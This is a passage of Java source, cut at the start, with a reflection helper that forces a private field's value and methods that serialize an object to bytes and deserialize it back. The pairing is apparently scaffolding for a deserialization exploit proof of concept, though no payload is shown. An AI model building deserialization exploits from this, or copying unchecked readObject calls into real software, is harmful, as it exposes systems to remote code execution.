object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true ); field.set(object,value); } public static byte [] ser(Object o) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); } public static Object unser (byte [] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); return objectInputStream.readObject(); } }